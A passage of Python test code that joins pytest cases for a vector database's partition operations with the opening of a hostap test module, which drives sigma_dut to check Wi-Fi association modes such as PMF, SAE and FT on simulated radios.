check_items={ct.err_code: 1, ct.err_msg: PartitionErrorMessage.PartitionNotExist})
@pytest.mark.tags(CaseLabel.L2)
def test_partition_release_dropped_collection(self):
"""
target: verify release a dropped collection
method: 1. create a collection and partition
2. drop the collection
3. release the partition
expected: raise exception
"""
# create collection
collection_w = self.init_collection_wrap()
# create partition
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name)
assert collection_w.has_partition(partition_name)[0]
# drop collection
collection_w.drop()
# release the partition and check err response
partition_w.release(check_task=CheckTasks.err_res,
check_items={ct.err_code: 1, ct.err_msg: "can't find collection"})
@pytest.mark.tags(CaseLabel.L1)
def test_partition_release_after_collection_released(self):
"""
target: verify release a partition after the collection released
method: 1. create a collection and partition
2. insert some data
3. release the collection
4. release the partition
expected: partition released successfully
"""
# create collection
collection_w = self.init_collection_wrap()
# create partition
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name)
assert collection_w.has_partition(partition_name)[0]
# insert data to partition
data = cf.gen_default_list_data()
partition_w.insert(data)
assert partition_w.num_entities == len(data[0])
assert collection_w.num_entities == len(data[0])
# load partition
partition_w.load()
# search of partition
search_vectors = cf.gen_vectors(1, ct.default_dim)
res_1, _ = partition_w.search(data=search_vectors,
anns_field=ct.default_float_vec_field_name,
params={"nprobe": 32}, limit=1)
assert len(res_1) == 1
# release collection
collection_w.release()
# search of partition
res_2, _ = partition_w.search(data=search_vectors,
anns_field=ct.default_float_vec_field_name,
params={"nprobe": 32}, limit=1,
check_task=ct.CheckTasks.err_res,
check_items={ct.err_code: 0,
ct.err_msg: "not been loaded"})
# release partition
partition_w.release()
@pytest.mark.tags(CaseLabel.L1)
def test_partition_insert_default_partition(self):
"""
target: verify insert data into _default partition
method: 1. create a collection
2. insert some data into _default partition
expected: insert successfully
"""
# create collection
collection_w = self.init_collection_wrap()
# get the default partition
partition_name = ct.default_partition_name
assert collection_w.has_partition(partition_name)[0]
partition_w = self.init_partition_wrap(collection_w, partition_name)
# insert data to partition
data = cf.gen_default_dataframe_data()
partition_w.insert(data)
# self._connect().flush([collection_w.name])
assert partition_w.num_entities == len(data)
@pytest.mark.tags(CaseLabel.L1)
def test_partition_insert_dropped_partition(self):
"""
target: verify insert data into a dropped partition
method: 1. create a collection
2. insert some data into a dropped partition
expected: raise exception
"""
# create partition
partition_w = self.init_partition_wrap()
# drop partition
partition_w.drop()
# insert data to partition
partition_w.insert(cf.gen_default_dataframe_data(),
check_task=CheckTasks.err_res,
check_items={ct.err_code: 1, ct.err_msg: "Partition not exist"})
# TODO: update the assert error
@pytest.mark.tags(CaseLabel.L1)
def test_partition_insert_dropped_collection(self):
"""
target: verify insert data into a dropped collection
method: 1. create a collection
2. insert some data into a dropped collection
expected: raise exception
"""
# create collection
collection_w = self.init_collection_wrap()
# create partition
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name)
assert collection_w.has_partition(partition_name)[0]
# drop collection
collection_w.drop()
# insert data to partition
partition_w.insert(cf.gen_default_dataframe_data(),
check_task=CheckTasks.err_res,
check_items={ct.err_code: 1, ct.err_msg: "None Type"})
@pytest.mark.tags(CaseLabel.L2)
def test_partition_insert_maximum_size_data(self):
"""
target: verify insert maximum size data(256M?) a time
method: 1. create a partition
2. insert maximum size data
expected: insert successfully
"""
# create collection
collection_w = self.init_collection_wrap()
# create partition
partition_w = self.init_partition_wrap(collection_w)
# insert data to partition
max_size = 100000 # TODO: clarify the max size of data
ins_res, _ = partition_w.insert(cf.gen_default_dataframe_data(max_size), timeout=40)
assert len(ins_res.primary_keys) == max_size
# self._connect().flush([collection_w.name])
assert partition_w.num_entities == max_size
@pytest.mark.tags(CaseLabel.L2)
@pytest.mark.parametrize("dim", [ct.default_dim - 1, ct.default_dim + 1])
def test_partition_insert_mismatched_dimensions(self, dim):
"""
target: verify insert maximum size data(256M?) a time
method: 1. create a collection with default dim
2. insert dismatch dim data
expected: raise exception
"""
# create partition
partition_w = self.init_partition_wrap()
data = cf.gen_default_list_data(nb=10, dim=dim)
# insert data to partition
partition_w.insert(data, check_task=CheckTasks.err_res,
check_items={ct.err_code: 1, ct.err_msg: "but entities field dim"})
@pytest.mark.tags(CaseLabel.L1)
@pytest.mark.parametrize("sync", [True, False])
def test_partition_insert_sync(self, sync):
"""
target: verify insert sync
method: 1. create a partition
2. insert data in sync
expected: insert successfully
"""
pass
@pytest.mark.tags(CaseLabel.L1)
@pytest.mark.parametrize("data", [cf.gen_default_list_data(nb=3000)])
@pytest.mark.parametrize("index_param", cf.gen_simple_index())
def test_partition_delete_indexed_data(self, data, index_param):
"""
target: verify delete entities with an expression condition from an indexed partition
method: 1. create collection
2. create an index
3. create a partition
4. insert same data
5. delete entities with an expression condition
expected: delete successfully
issue #15456
"""
# create collection
collection_w = self.init_collection_wrap()
# create index of collection
collection_w.create_index(ct.default_float_vec_field_name, index_param)
# create partition
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name)
assert collection_w.has_partition(partition_name)[0]
# insert data to partition
ins_res, _ = partition_w.insert(data)
assert len(ins_res.primary_keys) == len(data[0])
# delete entities with an expression condition
expr = "int64 in [0,1]"
res = partition_w.delete(expr)
assert len(res) == 2
@pytest.mark.tags(CaseLabel.L0)
def test_create_partition_repeat(self):
"""
target: test create partition, check status returned
method: call function: create_partition
expected: status is ok
"""
# create partition
collection_w = self.init_collection_wrap()
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name)
partition_e = self.init_partition_wrap(collection_w, partition_w.name)
@pytest.mark.tags(CaseLabel.L2)
def test_create_partition_name_none(self):
"""
target: test create partition,partition name set None, check status returned
method: call function: create_partition
expected: status ok
"""
collection_w = self.init_collection_wrap()
partition_name = None
partition_w = self.init_partition_wrap(collection_w, partition_name)
class TestShowBase(TestcaseBase):
"""
******************************************************************
The following cases are used to test list partition
******************************************************************
"""
@pytest.mark.tags(CaseLabel.L0)
def test_list_partitions(self):
"""
target: test show partitions, check status and partitions returned
method: create partition first, then call : collection.partitions
expected: status ok, partition correct
"""
collection_w = self.init_collection_wrap()
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name)
assert collection_w.partitions[1].name == partition_w.name
@pytest.mark.tags(CaseLabel.L0)
def test_show_multi_partitions(self):
"""
target: test show partitions, check status and partitions returned
method: create partitions first, then call : collection.partitions
expected: status ok, partitions correct
"""
collection_w = self.init_collection_wrap()
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name)
partition_e = self.init_partition_wrap(collection_w, partition_name)
assert collection_w.partitions[1].name == partition_w.name
assert collection_w.partitions[1].name == partition_e.name
class TestHasBase(TestcaseBase):
"""
******************************************************************
The following cases are used to test `has_partition` function
******************************************************************
"""
@pytest.mark.tags(CaseLabel.L0)
def test_has_partition_a(self):
"""
target: test has_partition, check status and result
method: create partition first, then call function: has_partition
expected: status ok, result true
"""
collection_w = self.init_collection_wrap()
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name)
assert collection_w.has_partition(partition_w.name)
@pytest.mark.tags(CaseLabel.L0)
def test_has_partition_multi_partitions(self):
"""
target: test has_partition, check status and result
method: create partition first, then call function: has_partition
expected: status ok, result true
"""
collection_w = self.init_collection_wrap()
partition_name = cf.gen_unique_str(prefix)
partition_w1 = self.init_partition_wrap(collection_w, partition_name)
partition_w2 = self.init_partition_wrap(collection_w, partition_name)
assert collection_w.has_partition(partition_w1.name)
assert collection_w.has_partition(partition_w2.name)
@pytest.mark.tags(CaseLabel.L2)
def test_has_partition_name_not_existed(self):
"""
target: test has_partition, check status and result
method: then call function: has_partition, with partition name not existed
expected: status ok, result empty
"""
collection_w = self.init_collection_wrap()
partition_name = cf.gen_unique_str(prefix)
assert not collection_w.has_partition(partition_name)[0]
@pytest.mark.tags(CaseLabel.L2)
def test_has_partition_collection_not_existed(self):
"""
target: test has_partition, check status and result
method: then call function: has_partition, with collection not existed
expected: status not ok
"""
collection_w = self.init_collection_wrap()
collection_e = self.init_collection_wrap()
partition_name = cf.gen_unique_str(prefix)
partition_w1 = self.init_partition_wrap(collection_w, partition_name)
assert not collection_e.has_partition(partition_name)[0]
@pytest.mark.tags(CaseLabel.L2)
def test_has_partition_with_invalid_partition_name(self):
"""
target: test has partition, with invalid partition name, check status returned
method: call function: has_partition
expected: status ok
"""
collection_w = self.init_collection_wrap()
partition_name = ct.get_invalid_strs
collection_w.has_partition(partition_name, check_task=CheckTasks.err_res,
check_items={ct.err_code: 1, 'err_msg': "is illegal"})
class TestDropBase(TestcaseBase):
"""
******************************************************************
The following cases are used to test `drop_partition` function
******************************************************************
"""
@pytest.mark.tags(CaseLabel.L2)
def test_drop_partition_repeatedly(self):
"""
target: test drop partition twice, check status and partition if existed
method: create partitions first, then call function: drop_partition
expected: status not ok, no partitions in db
"""
collection_w = self.init_collection_wrap()
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name)
# drop partition
collection_w.drop_partition(partition_w.name)
# check that the partition not exists
assert not collection_w.has_partition(partition_name)[0]
collection_w.drop_partition(partition_w.name, check_task=CheckTasks.err_res,
check_items={ct.err_code: 1, 'err_msg': "Partition not exist"})
@pytest.mark.tags(CaseLabel.L0)
def test_drop_partition_create(self):
"""
target: test drop partition, and create again, check status
method: create partitions first, then call function: drop_partition, create_partition
expected: status is ok, partition in db
"""
collection_w = self.init_collection_wrap()
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name)
collection_w.drop_partition(partition_w.name)
partition_w = self.init_partition_wrap(collection_w, partition_name)
assert collection_w.has_partition(partition_w.name)
class TestNameInvalid(TestcaseBase):
"""
******************************************************************
The following cases are used to test invalid partition name
******************************************************************
"""
@pytest.mark.tags(CaseLabel.L2)
def test_drop_partition_with_invalid_name(self):
"""
target: test drop partition, with invalid partition name, check status returned
method: call function: drop_partition
expected: status not ok
"""
collection_w = self.init_collection_wrap()
partition_name = ct.get_invalid_strs
collection_w.drop_partition(partition_name, check_task=CheckTasks.err_res,
check_items={ct.err_code: 1, 'err_msg': "is illegal"})
|
test_sigma_dut.py | # Test cases for sigma_dut
# Copyright (c) 2017, Qualcomm Atheros, Inc.
# Copyright (c) 2018-2019, The Linux Foundation
#
# This software may be distributed under the terms of the BSD license.
# See README for more details.
import binascii
import errno
import fcntl
import hashlib
import logging
logger = logging.getLogger()
import os
import socket
import struct
import subprocess
import threading
import time
import hostapd
from utils import *
from hwsim import HWSimRadio
import hwsim_utils
from wlantest import Wlantest
from tshark import run_tshark
from test_dpp import check_dpp_capab, update_hapd_config, wait_auth_success
from test_suite_b import check_suite_b_192_capa, suite_b_as_params, suite_b_192_rsa_ap_params
from test_ap_eap import check_eap_capa, int_eap_server_params, check_domain_match, check_domain_suffix_match
from test_ap_hs20 import hs20_ap_params
from test_ap_pmf import check_mac80211_bigtk
from test_ocv import check_ocv_failure
def check_sigma_dut():
if not os.path.exists("./sigma_dut"):
raise HwsimSkip("sigma_dut not available")
def to_hex(s):
return binascii.hexlify(s.encode()).decode()
def from_hex(s):
return binascii.unhexlify(s).decode()
def sigma_log_output(cmd):
try:
out = cmd.stdout.read()
if out:
logger.debug("sigma_dut stdout: " + str(out.decode()))
except IOError as e:
if e.errno != errno.EAGAIN:
raise
try:
out = cmd.stderr.read()
if out:
logger.debug("sigma_dut stderr: " + str(out.decode()))
except IOError as e:
if e.errno != errno.EAGAIN:
raise
sigma_prog = None
def sigma_dut_cmd(cmd, port=9000, timeout=2):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM,
socket.IPPROTO_TCP)
sock.settimeout(timeout)
addr = ('127.0.0.1', port)
sock.connect(addr)
sock.send(cmd.encode() + b"\r\n")
try:
res = sock.recv(1000).decode()
running = False
done = False
for line in res.splitlines():
if line.startswith("status,RUNNING"):
running = True
elif line.startswith("status,INVALID"):
done = True
elif line.startswith("status,ERROR"):
done = True
elif line.startswith("status,COMPLETE"):
done = True
if running and not done:
# Read the actual response
res = sock.recv(1000).decode()
except:
res = ''
pass
sock.close()
res = res.rstrip()
logger.debug("sigma_dut: '%s' --> '%s'" % (cmd, res))
global sigma_prog
if sigma_prog:
sigma_log_output(sigma_prog)
return res
def sigma_dut_cmd_check(cmd, port=9000, timeout=2):
res = sigma_dut_cmd(cmd, port=port, timeout=timeout)
if "COMPLETE" not in res:
raise Exception("sigma_dut command failed: " + cmd)
return res
def start_sigma_dut(ifname, hostapd_logdir=None, cert_path=None,
bridge=None, sae_h2e=False, owe_ptk_workaround=False):
check_sigma_dut()
cmd = ['./sigma_dut',
'-d',
'-M', ifname,
'-S', ifname,
'-F', '../../hostapd/hostapd',
'-G',
'-w', '/var/run/wpa_supplicant/',
'-j', ifname]
if hostapd_logdir:
cmd += ['-H', hostapd_logdir]
if cert_path:
cmd += ['-C', cert_path]
if bridge:
cmd += ['-b', bridge]
if sae_h2e:
cmd += ['-2']
if owe_ptk_workaround:
cmd += ['-3']
sigma = subprocess.Popen(cmd, stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
for stream in [sigma.stdout, sigma.stderr]:
fd = stream.fileno()
fl = fcntl.fcntl(fd, fcntl.F_GETFL)
fcntl.fcntl(fd, fcntl.F_SETFL, fl | os.O_NONBLOCK)
global sigma_prog
sigma_prog = sigma
res = None
for i in range(20):
try:
res = sigma_dut_cmd("HELLO")
break
except:
time.sleep(0.05)
if res is None or "errorCode,Unknown command" not in res:
raise Exception("Failed to start sigma_dut")
return {'cmd': sigma, 'ifname': ifname}
def stop_sigma_dut(sigma):
global sigma_prog
sigma_prog = None
cmd = sigma['cmd']
sigma_log_output(cmd)
logger.debug("Terminating sigma_dut process")
cmd.terminate()
cmd.wait()
out, err = cmd.communicate()
logger.debug("sigma_dut stdout: " + str(out.decode()))
logger.debug("sigma_dut stderr: " + str(err.decode()))
subprocess.call(["ip", "addr", "del", "dev", sigma['ifname'],
"127.0.0.11/24"],
stderr=open('/dev/null', 'w'))
def sigma_dut_wait_connected(ifname):
for i in range(50):
res = sigma_dut_cmd("sta_is_connected,interface," + ifname)
if "connected,1" in res:
break
time.sleep(0.2)
if i == 49:
raise Exception("Connection did not complete")
def test_sigma_dut_basic(dev, apdev):
"""sigma_dut basic functionality"""
sigma = start_sigma_dut(dev[0].ifname)
tests = [("ca_get_version", "status,COMPLETE,version,1.0"),
("device_get_info", "status,COMPLETE,vendor"),
("device_list_interfaces,interfaceType,foo", "status,ERROR"),
("device_list_interfaces,interfaceType,802.11",
"status,COMPLETE,interfaceType,802.11,interfaceID," + dev[0].ifname)]
try:
res = sigma_dut_cmd("UNKNOWN")
if "status,INVALID,errorCode,Unknown command" not in res:
raise Exception("Unexpected sigma_dut response to unknown command")
for cmd, response in tests:
res = sigma_dut_cmd(cmd)
if response not in res:
raise Exception("Unexpected %s response: %s" % (cmd, res))
finally:
stop_sigma_dut(sigma)
@reset_ignore_old_scan_res
def test_sigma_dut_open(dev, apdev):
"""sigma_dut controlled open network association"""
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
hapd = hostapd.add_ap(apdev[0], {"ssid": "open"})
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_encryption,interface,%s,ssid,%s,encpType,none" % (ifname, "open"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s" % (ifname, "open"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
@reset_ignore_old_scan_res
def test_sigma_dut_psk_pmf(dev, apdev):
"""sigma_dut controlled PSK+PMF association"""
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "test-pmf-required"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params["wpa_key_mgmt"] = "WPA-PSK-SHA256"
params["ieee80211w"] = "2"
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,PMF" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_psk,interface,%s,ssid,%s,passphrase,%s,encpType,aes-ccmp,keymgmttype,wpa2,PMF,Required" % (ifname, "test-pmf-required", "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-pmf-required"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
@reset_ignore_old_scan_res
def test_sigma_dut_psk_pmf_bip_cmac_128(dev, apdev):
"""sigma_dut controlled PSK+PMF association with BIP-CMAC-128"""
run_sigma_dut_psk_pmf_cipher(dev, apdev, "BIP-CMAC-128", "AES-128-CMAC")
@reset_ignore_old_scan_res
def test_sigma_dut_psk_pmf_bip_cmac_256(dev, apdev):
"""sigma_dut controlled PSK+PMF association with BIP-CMAC-256"""
run_sigma_dut_psk_pmf_cipher(dev, apdev, "BIP-CMAC-256", "BIP-CMAC-256")
@reset_ignore_old_scan_res
def test_sigma_dut_psk_pmf_bip_gmac_128(dev, apdev):
"""sigma_dut controlled PSK+PMF association with BIP-GMAC-128"""
run_sigma_dut_psk_pmf_cipher(dev, apdev, "BIP-GMAC-128", "BIP-GMAC-128")
@reset_ignore_old_scan_res
def test_sigma_dut_psk_pmf_bip_gmac_256(dev, apdev):
"""sigma_dut controlled PSK+PMF association with BIP-GMAC-256"""
run_sigma_dut_psk_pmf_cipher(dev, apdev, "BIP-GMAC-256", "BIP-GMAC-256")
@reset_ignore_old_scan_res
def test_sigma_dut_psk_pmf_bip_gmac_256_mismatch(dev, apdev):
"""sigma_dut controlled PSK+PMF association with BIP-GMAC-256 mismatch"""
run_sigma_dut_psk_pmf_cipher(dev, apdev, "BIP-GMAC-256", "AES-128-CMAC",
failure=True)
def run_sigma_dut_psk_pmf_cipher(dev, apdev, sigma_cipher, hostapd_cipher,
failure=False):
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "test-pmf-required"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params["wpa_key_mgmt"] = "WPA-PSK-SHA256"
params["ieee80211w"] = "2"
params["group_mgmt_cipher"] = hostapd_cipher
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,PMF" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_psk,interface,%s,ssid,%s,passphrase,%s,encpType,aes-ccmp,keymgmttype,wpa2,PMF,Required,GroupMgntCipher,%s" % (ifname, "test-pmf-required", "12345678", sigma_cipher))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-pmf-required"),
timeout=2 if failure else 10)
if failure:
ev = dev[0].wait_event(["CTRL-EVENT-NETWORK-NOT-FOUND",
"CTRL-EVENT-CONNECTED"], timeout=10)
if ev is None:
raise Exception("Network selection result not indicated")
if "CTRL-EVENT-CONNECTED" in ev:
raise Exception("Unexpected connection")
res = sigma_dut_cmd("sta_is_connected,interface," + ifname)
if "connected,1" in res:
raise Exception("Connection reported")
else:
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_sae(dev, apdev):
"""sigma_dut controlled SAE association"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
params['sae_groups'] = '19 20 21'
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_reset_default,interface,%s" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2" % (ifname, "test-sae", "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
if dev[0].get_status_field('sae_group') != '19':
raise Exception("Expected default SAE group not used")
res = sigma_dut_cmd_check("sta_get_parameter,interface,%s,Parameter,PMK" % ifname)
logger.info("Reported PMK: " + res)
if ",PMK," not in res:
raise Exception("PMK not reported");
if hapd.request("GET_PMK " + dev[0].own_addr()) != res.split(',')[3]:
raise Exception("Mismatch in reported PMK")
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2,ECGroupID,20" % (ifname, "test-sae", "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
if dev[0].get_status_field('sae_group') != '20':
raise Exception("Expected SAE group not used")
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_sae_groups(dev, apdev):
"""sigma_dut controlled SAE association with group negotiation"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
params['sae_groups'] = '19'
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_reset_default,interface,%s" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2,ECGroupID,21 20 19" % (ifname, "test-sae", "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
if dev[0].get_status_field('sae_group') != '19':
raise Exception("Expected default SAE group not used")
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_sae_pmkid_include(dev, apdev):
"""sigma_dut controlled SAE association with PMKID"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
params["sae_confirm_immediate"] = "1"
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_reset_default,interface,%s" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2,PMKID_Include,enable" % (ifname, "test-sae", "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_sae_password(dev, apdev):
"""sigma_dut controlled SAE association and long password"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid)
params['sae_password'] = 100*'B'
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_reset_default,interface,%s" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2" % (ifname, "test-sae", 100*'B'))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_sae_pw_id(dev, apdev):
"""sigma_dut controlled SAE association with Password Identifier"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid)
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
params['sae_password'] = 'secret|id=pw id'
params['sae_groups'] = '19'
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_reset_default,interface,%s" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,AKMSuiteType,8;9,PasswordID,pw id" % (ifname, "test-sae", "secret"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_sae_pw_id_pwe_loop(dev, apdev):
"""sigma_dut controlled SAE association with Password Identifier and forced PWE looping"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid)
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
params['sae_password'] = 'secret|id=pw id'
params['sae_groups'] = '19'
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_reset_default,interface,%s" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,AKMSuiteType,8;9,PasswordID,pw id,sae_pwe,looping" % (ifname, "test-sae", "secret"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
for i in range(3):
ev = dev[0].wait_event(["SME: Trying to authenticate",
"CTRL-EVENT-CONNECTED"], timeout=10)
if ev is None:
raise Exception("Network selection result not indicated")
if "CTRL-EVENT-CONNECTED" in ev:
raise Exception("Unexpected connection")
res = sigma_dut_cmd("sta_is_connected,interface," + ifname)
if "connected,1" in res:
raise Exception("Connection reported")
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
dev[0].set("sae_pwe", "0")
def test_sigma_dut_sae_pw_id_ft(dev, apdev):
"""sigma_dut controlled SAE association with Password Identifier and FT"""
run_sigma_dut_sae_pw_id_ft(dev, apdev)
def test_sigma_dut_sae_pw_id_ft_over_ds(dev, apdev):
"""sigma_dut controlled SAE association with Password Identifier and FT-over-DS"""
run_sigma_dut_sae_pw_id_ft(dev, apdev, over_ds=True)
def run_sigma_dut_sae_pw_id_ft(dev, apdev, over_ds=False):
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid)
params['wpa_key_mgmt'] = 'SAE FT-SAE'
params["ieee80211w"] = "2"
params['sae_password'] = ['pw1|id=id1', 'pw2|id=id2', 'pw3', 'pw4|id=id4']
params['mobility_domain'] = 'aabb'
